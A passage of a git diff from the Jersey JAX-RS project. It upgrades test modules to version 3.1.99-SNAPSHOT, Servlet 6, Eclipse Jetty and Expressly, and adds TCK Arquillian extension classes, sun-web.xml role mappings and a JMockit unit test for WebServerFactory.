+ <asadmin.home>${glassfish.home}/glassfish/bin</asadmin.home>
+ <asadmin>asadmin</asadmin>
+ </properties>
+ </profile>
+ <profile>
+ <id>jersey-tck</id>
+ <properties>
+ <jersey.version>3.1.99-SNAPSHOT</jersey.version> <!-- When running the profile, use SNAPSHOT -->
+ </properties>
+ </profile>
+ </profiles>
+</project>
diff --git a/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyApplicationArchiveProcessor.java b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyApplicationArchiveProcessor.java
new file mode 100644
index 0000000..c5597e5
--- /dev/null
+++ b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyApplicationArchiveProcessor.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.core.tck;
+
+import org.jboss.arquillian.container.test.spi.client.deployment.ApplicationArchiveProcessor;
+import org.jboss.arquillian.test.spi.TestClass;
+import org.jboss.shrinkwrap.api.Archive;
+import org.jboss.shrinkwrap.api.spec.WebArchive;
+
+public class JerseyApplicationArchiveProcessor implements ApplicationArchiveProcessor {
+ @Override
+ public void process(Archive<?> archive, TestClass testClass) {
+ if ("jaxrs_ee_rs_container_requestcontext_security_web.war".equals(archive.getName())) {
+ WebArchive webArchive = (WebArchive) archive;
+ webArchive.addAsWebInfResource("jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml", "sun-web.xml");
+ } else if ("jaxrs_ee_core_securitycontext_basic_web.war".equals(archive.getName())) {
+ WebArchive webArchive = (WebArchive) archive;
+ webArchive.addAsWebInfResource("jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml", "sun-web.xml");
+ }
+ }
+}
diff --git a/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyLoadableExtension.java b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyLoadableExtension.java
new file mode 100644
index 0000000..d4da355
--- /dev/null
+++ b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyLoadableExtension.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.core.tck;
+
+import org.jboss.arquillian.container.test.spi.client.deployment.ApplicationArchiveProcessor;
+import org.jboss.arquillian.core.spi.LoadableExtension;
+
+public class JerseyLoadableExtension implements LoadableExtension {
+ @Override
+ public void register(ExtensionBuilder extensionBuilder) {
+ extensionBuilder.service(ApplicationArchiveProcessor.class, JerseyApplicationArchiveProcessor.class);
+ }
+}
diff --git a/tests/jersey-tck/src/main/resources/META-INF/services/org.jboss.arquillian.core.spi.LoadableExtension b/tests/jersey-tck/src/main/resources/META-INF/services/org.jboss.arquillian.core.spi.LoadableExtension
new file mode 100644
index 0000000..577c00f
--- /dev/null
+++ b/tests/jersey-tck/src/main/resources/META-INF/services/org.jboss.arquillian.core.spi.LoadableExtension
@@ -0,0 +1 @@
+org.glassfish.jersey.core.tck.JerseyLoadableExtension
\ No newline at end of file
diff --git a/tests/jersey-tck/src/main/resources/jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml b/tests/jersey-tck/src/main/resources/jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml
new file mode 100644
index 0000000..8e2a251
--- /dev/null
+++ b/tests/jersey-tck/src/main/resources/jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+ Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<!DOCTYPE sun-web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Sun ONE Application Server 8.0 Servlet 2.4//EN" "http://www.sun.com/software/sunone/appserver/dtds/sun-web-app_2_5-0.dtd">
+<sun-web-app>
+ <context-root>jaxrs_ee_core_securitycontext_basic_web</context-root>
+ <security-role-mapping>
+ <role-name>DIRECTOR</role-name>
+ <principal-name>j2ee</principal-name>
+ </security-role-mapping>
+ <security-role-mapping>
+ <role-name>OTHERROLE</role-name>
+ <principal-name>javajoe</principal-name>
+ </security-role-mapping>
+</sun-web-app>
diff --git a/tests/jersey-tck/src/main/resources/jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml b/tests/jersey-tck/src/main/resources/jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml
new file mode 100644
index 0000000..a5efdc5
--- /dev/null
+++ b/tests/jersey-tck/src/main/resources/jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+ Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+
+ This program and the accompanying materials are made available under the
+ terms of the Eclipse Public License v. 2.0, which is available at
+ http://www.eclipse.org/legal/epl-2.0.
+
+ This Source Code may also be made available under the following Secondary
+ Licenses when the conditions for such availability set forth in the
+ Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ version 2 with the GNU Classpath Exception, which is available at
+ https://www.gnu.org/software/classpath/license.html.
+
+ SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<!DOCTYPE sun-web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Sun ONE Application Server 8.0 Servlet 2.4//EN" "http://www.sun.com/software/sunone/appserver/dtds/sun-web-app_2_5-0.dtd">
+<sun-web-app>
+ <context-root>jaxrs_ee_rs_container_requestcontext_security_web</context-root>
+ <security-role-mapping>
+ <role-name>DIRECTOR</role-name>
+ <principal-name>j2ee</principal-name>
+ </security-role-mapping>
+</sun-web-app>
diff --git a/tests/jmockit/pom.xml b/tests/jmockit/pom.xml
index 3682449..9746d51 100644
--- a/tests/jmockit/pom.xml
+++ b/tests/jmockit/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java
new file mode 100644
index 0000000..974404c
--- /dev/null
+++ b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.jmockit.server;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.theInstance;
+import static org.junit.Assert.assertThat;
+
+import java.util.Iterator;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.internal.ServiceFinder;
+import org.glassfish.jersey.internal.ServiceFinder.ServiceIteratorProvider;
+import org.glassfish.jersey.internal.guava.Iterators;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionManagerFactory;
+import org.glassfish.jersey.server.WebServerFactory;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+import org.junit.After;
+import org.junit.Test;
+
+import mockit.Mocked;
+
+/**
+ * Unit tests for {@link WebServerFactory}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class WebServerFactoryTest {
+
+ @Test
+ public final void shouldBuildServer(@Mocked final Application mockApplication,
+ @Mocked final WebServer mockServer,
+ @Mocked final SeBootstrap.Configuration mockConfiguration,
+ @Mocked final InjectionManager mockInjectionManager) {
+ // given
+ ServiceFinder.setIteratorProvider(new ServiceIteratorProvider() {
+ @Override
+ public final <T> Iterator<T> createIterator(final Class<T> service, final String serviceName,
+ final ClassLoader loader, final boolean ignoreOnClassNotFound) {
+ return Iterators.singletonIterator(service.cast(
+ service == WebServerProvider.class ? new WebServerProvider() {
+ @Override
+ public final <U extends WebServer> U createServer(
+ final Class<U> type,
+ final Application application,
+ final SeBootstrap.Configuration configuration) {
+ return application == mockApplication && configuration == mockConfiguration
+ ? type.cast(mockServer)
+ : null;
+ }
+
+ @Override
+ public <T extends WebServer> T createServer(
+ final Class<T> type,
+ final Class<? extends Application> applicationClass,
+ final SeBootstrap.Configuration configuration) {
+ return null;
+ }
+ }
+ : service == InjectionManagerFactory.class ? new InjectionManagerFactory() {
+ @Override
+ public final InjectionManager create(final Object parent) {
+ return mockInjectionManager;
+ }
+ }
+ : null));
+ }
+
+ @Override
+ public final <T> Iterator<Class<T>> createClassIterator(final Class<T> service, final String serviceName,
+ final ClassLoader loader, final boolean ignoreOnClassNotFound) {
+ return null;
+ }
+ });
+
+ // when
+ final WebServer server = WebServerFactory.createServer(WebServer.class, mockApplication, mockConfiguration);
+
+ // then
+ assertThat(server, is(theInstance(mockServer)));
+ }
+
+ @After
+ public final void resetServiceFinder() {
+ ServiceFinder.setIteratorProvider(null);
+ }
+
+}
diff --git a/tests/mem-leaks/pom.xml b/tests/mem-leaks/pom.xml
index cb44387..0c14719 100644
--- a/tests/mem-leaks/pom.xml
+++ b/tests/mem-leaks/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.tests.memleaks</groupId>
diff --git a/tests/mem-leaks/redeployment/pom.xml b/tests/mem-leaks/redeployment/pom.xml
index 05b1047..f91d2a8 100644
--- a/tests/mem-leaks/redeployment/pom.xml
+++ b/tests/mem-leaks/redeployment/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.memleaks</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
diff --git a/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml b/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml
index 68d0620..bab5528 100644
--- a/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>redeployment-hello-world-app-ref</artifactId>
@@ -132,7 +132,7 @@
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>helloworld-webapp</artifactId>
<type>war</type>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</dependency>
</dependencies>
diff --git a/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml
index 3dbdce4..ceaa0a1 100644
--- a/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>redeployment-leaking-test-app</artifactId>
diff --git a/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml
index 5db3a03..262ceda 100644
--- a/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml
@@ -24,7 +24,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>redeployment-no-jersey-app</artifactId>
@@ -125,7 +125,7 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ <version>${servlet6.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
diff --git a/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml
index 3e78927..29ce832 100644
--- a/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml
@@ -24,7 +24,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>redeployment-threadlocals-app</artifactId>
@@ -106,7 +106,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
</dependencies>
diff --git a/tests/mem-leaks/test-cases/bean-param-leak/pom.xml b/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
index 8111508..7d5d196 100644
--- a/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
+++ b/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>bean-param-leak</artifactId>
@@ -88,8 +88,9 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.mortbay.jetty</groupId>
+ <groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-maven-plugin</artifactId>
+ <version>${jetty11.version}</version>
</plugin>
<plugin>
<groupId>org.glassfish.jersey.test-framework.maven</groupId>
diff --git a/tests/mem-leaks/test-cases/leaking-test-app/pom.xml b/tests/mem-leaks/test-cases/leaking-test-app/pom.xml
index 19159fa..0b735ae 100644
--- a/tests/mem-leaks/test-cases/leaking-test-app/pom.xml
+++ b/tests/mem-leaks/test-cases/leaking-test-app/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>leaking-test-app</artifactId>
diff --git a/tests/mem-leaks/test-cases/pom.xml b/tests/mem-leaks/test-cases/pom.xml
index 1f4d9ce..c5c2f13 100644
--- a/tests/mem-leaks/test-cases/pom.xml
+++ b/tests/mem-leaks/test-cases/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.memleaks</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
diff --git a/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml b/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml
index 4655cd2..d861113 100644
--- a/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml
+++ b/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>shutdown-hook-leak-client</artifactId>
diff --git a/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml b/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
index 26e87e6..a8513b1 100644
--- a/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
+++ b/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>shutdown-hook-leak</artifactId>
@@ -71,8 +71,9 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.mortbay.jetty</groupId>
+ <groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-maven-plugin</artifactId>
+ <version>${jetty11.version}</version>
</plugin>
<plugin>
<groupId>org.glassfish.jersey.test-framework.maven</groupId>
diff --git a/tests/osgi/functional/pom.xml b/tests/osgi/functional/pom.xml
index 4e6e564..34e7f05 100644
--- a/tests/osgi/functional/pom.xml
+++ b/tests/osgi/functional/pom.xml
@@ -24,7 +24,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.osgi</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-tests-osgi-functional</artifactId>
@@ -230,7 +230,6 @@
<scope>test</scope>
<version>${httpclient.version}</version>
</dependency>
-
<dependency>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>jersey-media-json-jackson</artifactId>
@@ -299,7 +298,7 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ <version>${servlet6.version}</version>
<scope>test</scope>
</dependency>
<dependency>
@@ -318,8 +317,8 @@
<scope>test</scope>
</dependency>
<dependency>
- <groupId>org.glassfish</groupId>
- <artifactId>jakarta.el</artifactId>
+ <groupId>org.glassfish.expressly</groupId>
+ <artifactId>expressly</artifactId>
<scope>test</scope>
</dependency>
<dependency>
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/BeanValidationTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/BeanValidationTest.java
index 7486f72..2c4ba83 100644
--- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/BeanValidationTest.java
+++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/BeanValidationTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -72,7 +72,7 @@
mavenBundle().groupId("org.jboss.logging").artifactId("jboss-logging").versionAsInProject(),
mavenBundle().groupId("com.fasterxml").artifactId("classmate").versionAsInProject(),
mavenBundle().groupId("jakarta.el").artifactId("jakarta.el-api").versionAsInProject(),
- mavenBundle().groupId("org.glassfish").artifactId("jakarta.el").versionAsInProject()
+ mavenBundle().groupId("org.glassfish.expressly").artifactId("expressly").versionAsInProject()
));
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java
index 7d06f02..7aebd55 100644
--- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java
+++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java
@@ -41,6 +41,9 @@
options.addAll(Helper.expandedList(
// vmOption("-Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005"),
+ // TODO - remove when jackson-module-jakarta-xmlbind-annotations supports JAX-B/4
+ mavenBundle().groupId("jakarta.xml.bind").artifactId("jakarta.xml.bind-api").version("3.0.1"),
+
mavenBundle().groupId("org.glassfish.jersey.media").artifactId("jersey-media-json-jackson").versionAsInProject(),
mavenBundle().groupId("org.glassfish.jersey.ext").artifactId("jersey-entity-filtering").versionAsInProject(),
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java
index 423a04e..2ca286c 100644
--- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java
+++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java
@@ -63,7 +63,7 @@
mavenBundle().groupId("org.hibernate.validator").artifactId("hibernate-validator").versionAsInProject(),
mavenBundle().groupId("org.jboss.logging").artifactId("jboss-logging").versionAsInProject(),
mavenBundle().groupId("com.fasterxml").artifactId("classmate").versionAsInProject(),
- mavenBundle().groupId("org.glassfish").artifactId("jakarta.el").versionAsInProject()
+ mavenBundle().groupId("org.glassfish.expressly").artifactId("expressly").versionAsInProject()
));
return Helper.asArray(options);
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java
index 76a1515..4be49dd 100644
--- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java
+++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -183,9 +183,9 @@
mavenBundle().groupId("org.glassfish.jersey.core").artifactId("jersey-client").versionAsInProject(),
// Jersey Injection provider
- mavenBundle().groupId("org.glassfish.jersey.inject").artifactId("jersey-hk2").versionAsInProject(),
+ mavenBundle().groupId("org.glassfish.jersey.inject").artifactId("jersey-hk2").versionAsInProject()
// Jaxb - api
- getActivationBundle()
+// getActivationBundle()
));
}
diff --git a/tests/osgi/pom.xml b/tests/osgi/pom.xml
index 99da325..13350e6 100644
--- a/tests/osgi/pom.xml
+++ b/tests/osgi/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.tests.osgi</groupId>
diff --git a/tests/performance/benchmarks/pom.xml b/tests/performance/benchmarks/pom.xml
index 4af92ed..7a9160c 100644
--- a/tests/performance/benchmarks/pom.xml
+++ b/tests/performance/benchmarks/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>performance-test-benchmarks</artifactId>
diff --git a/tests/performance/pom.xml b/tests/performance/pom.xml
index bf57e5d..8819dc0 100644
--- a/tests/performance/pom.xml
+++ b/tests/performance/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.tests.performance</groupId>
diff --git a/tests/performance/runners/jersey-grizzly-runner/pom.xml b/tests/performance/runners/jersey-grizzly-runner/pom.xml
index 1d26c29..db547a0 100644
--- a/tests/performance/runners/jersey-grizzly-runner/pom.xml
+++ b/tests/performance/runners/jersey-grizzly-runner/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.runners</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
diff --git a/tests/performance/runners/pom.xml b/tests/performance/runners/pom.xml
index 4fbf1c5..e04d70b 100644
--- a/tests/performance/runners/pom.xml
+++ b/tests/performance/runners/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.tests.performance.runners</groupId>
diff --git a/tests/performance/test-cases/assemblies/pom.xml b/tests/performance/test-cases/assemblies/pom.xml
index 8ef729d..57be4e6 100644
--- a/tests/performance/test-cases/assemblies/pom.xml
+++ b/tests/performance/test-cases/assemblies/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>assemblies</artifactId>
diff --git a/tests/performance/test-cases/filter-dynamic/pom.xml b/tests/performance/test-cases/filter-dynamic/pom.xml
index 0c357ff..13fa68b 100644
--- a/tests/performance/test-cases/filter-dynamic/pom.xml
+++ b/tests/performance/test-cases/filter-dynamic/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>filter-dynamic</artifactId>
diff --git a/tests/performance/test-cases/filter-global/pom.xml b/tests/performance/test-cases/filter-global/pom.xml
index 7465710..b66a5b3 100644
--- a/tests/performance/test-cases/filter-global/pom.xml
+++ b/tests/performance/test-cases/filter-global/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>filter-global</artifactId>
diff --git a/tests/performance/test-cases/filter-name/pom.xml b/tests/performance/test-cases/filter-name/pom.xml
index 04979e5..df08011 100644
--- a/tests/performance/test-cases/filter-name/pom.xml
+++ b/tests/performance/test-cases/filter-name/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>filter-name</artifactId>
diff --git a/tests/performance/test-cases/interceptor-dynamic/pom.xml b/tests/performance/test-cases/interceptor-dynamic/pom.xml
index dd35986..ece2896 100644
--- a/tests/performance/test-cases/interceptor-dynamic/pom.xml
+++ b/tests/performance/test-cases/interceptor-dynamic/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>interceptor-dynamic</artifactId>
diff --git a/tests/performance/test-cases/interceptor-global/pom.xml b/tests/performance/test-cases/interceptor-global/pom.xml
index a4af722..84889d3 100644
--- a/tests/performance/test-cases/interceptor-global/pom.xml
+++ b/tests/performance/test-cases/interceptor-global/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
